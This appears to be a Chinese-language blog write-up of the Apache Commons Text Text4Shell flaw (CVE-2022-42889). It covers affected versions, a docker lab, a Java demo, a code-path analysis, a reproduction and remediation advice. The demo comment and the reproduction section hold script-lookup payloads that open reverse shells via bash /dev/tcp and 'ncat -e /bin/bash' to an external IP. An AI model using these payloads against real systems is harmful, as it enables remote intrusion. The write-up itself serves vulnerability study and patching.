文章

Apache_Commons_Text任意代码执行漏洞(CVE-2022-42889)

Apache_Commons_Text任意代码执行漏洞(CVE-2022-42889)

1 漏洞简介

Apache Commons Text 是一个低级库,用于执行各种文本操作,例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。

Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些插值器是: – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值,包括来自远程服务器 如果使用了不受信任的配置值,则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

受影响的插值器是:

  • script: 用于使用 JVM 脚本执行引擎评估表达式 ( javax.script)
  • dns: 用于解析 DNS 记录
  • url: 用于从 URL 请求信息

2 影响范围

1.5 <= Apache Commons Text <= 1.9

  • 该应用程序使用默认配置导入org.apache.commons.text.StringSubstitutor

    并使用以下默认插值器之一

    • dns
    • script
    • url

3 环境搭建

3.1 导入docker image

1
$ docker load -i polarvul_apache_commons_text_cve-2022-42889.tar 

3.2启动环境

1
$ docker run -it -p 80:8080 --name text4shell test/text4shell

4 漏洞分析

测试demo

测试环境:jdk1.8,maven

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>demo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-configuration2</artifactId>
            <version>2.7</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-text</artifactId>
            <version>1.9</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-lang3</artifactId>
            <version>3.12.0</version>
        </dependency>
    </dependencies>
</project>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//demo
package org.example;

import org.apache.commons.text.StringSubstitutor;

public class Main {

    public static void main(String[] args) {

        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
//        String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
        //String payload = "${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}\n";
        // ${script:javascript:java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/39.107.113.250/9001 0>&1')}
        interpolator.replace(payload);
        System.out.printf(interpolator.replace("${sys:user.dir}"));
    }
}

该漏洞存在于 StringSubstitutor 插值器对象中。插值器由 StringSubstitutor.createInterpolator() 方法创建,并允许进行StringLookupFactory中定义的字符串查找。这可以通过传递一个字符串“${prefix:name}”来使用,其中前缀是上述查找。使用“script”、“dns”或“url”查找将允许精心制作的字符串在传递给插值器对象时执行任意脚本。

此功能是一种非常基本的表达式语言的实现,它允许从内插字符串中调用多种方法。使用“replace”函数,我们可以使用表达式语言字符串“${<lookup field>:<lookup string>}”调用查找

查找具有它尝试识别的字段数量,如下所示:

img

img

org.apache.commons.text.StringSubstitutor#replace(java.lang.String)

image-20221128154202353

对传入 replace 的参数转换类型后传到 substitute 中处理

org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List)

image-20221128154337398

对参数进行检验判断首字符是否为 $ 然后进行处理之后传到 resolveVariable

image-20221128154510495

org.apache.commons.text.StringSubstitutor#resolveVariable

获取 getStringLookup() 的值 InterpolatorStringLookup 然后调用其 lookup 方法

image-20221128154600674

image-20221128154710111

org.apache.commons.text.lookup.InterpolatorStringLookup#lookup

根据 : 分割提取出 prefix 值 然后根据 stringLookupMap 提取其对应的 lookup 实例化对象

image-20221128155150115

script 对应的是 ScriptStringLookup

image-20221128155325596

org.apache.commons.text.lookup.ScriptStringLookup#lookup

再次根据 : 将表达式分割

image-20221128155624191

最终造成RCE

image-20221128155818007

5 漏洞复现

利用docker环境复现

http://192.168.157.138/text4shell/attack?search=

payload: ${script:javascript:java.lang.Runtime.getRuntime().exec(‘ncat -e /bin/bash ip port’)}

受害机:

启动环境:

image-20221128161350736

攻击机:

开启监听端口:

image-20221128160756709

需要对payload进行url编码。

1
http://192.168.157.138/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%2039.107.113.250%209001%27%29%7D

image-20221128160847613

发送后:

image-20221128161025687

接收到shell并获得root权限:

image-20221128161059341

6 漏洞修复

Apache 团队应用的修复是从默认插值器行为中删除 dns、script和 url 查找。在StringLookupFactory 中。c reateDefaultStringLookups()方法现在默认不添加DefaultStringLookup.DNSDefaultStringLookup.URLDefaultStringLookup.SCRIPT 。在以前的版本中,默认添加所有DefaultStringLookup实例。

建议的操作是将包升级到固定版本 (1.10.0)。

如果无法升级,可以使用安全的 StringLookup 配置来初始化 StringSubstitutor。

img

如果应用程序中需要进行危险查找,则所有用户输入都应在插入之前进行清理。一种可能的解决方案是在输入验证阶段使用白名单。

修复后:

image-20221128162501229

本文由作者按照 CC BY 4.0 进行授权